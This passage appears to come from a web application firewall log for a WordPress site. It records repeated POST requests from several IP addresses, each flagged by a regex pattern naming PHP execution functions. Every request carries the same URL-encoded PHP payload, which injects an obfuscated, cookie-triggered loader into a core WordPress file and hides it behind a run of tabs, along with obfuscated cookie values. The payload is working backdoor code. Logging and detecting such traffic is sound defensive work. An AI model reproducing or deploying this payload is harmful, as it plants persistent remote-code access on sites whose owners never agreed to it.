Safari\/604.1\nsec-fetch-dest:document\n\naW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:42:34","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Og:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3257\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nOg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:42:38","172.86.89.164","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-dest:document\n\nRx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:42:47","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ez:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3257\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\n\nez=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:42:58","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ay:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-patterns\/query-offset-posts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B17%255D%253Bif%2528%2521%2524p%255B2%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B3%255D%2528%2524k%252C%2524p%255B8%255D%2529%253B%2524p%255B16%255D%2528%2524n%252C%2524p%255B0%255D.%2524p%255B25%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php 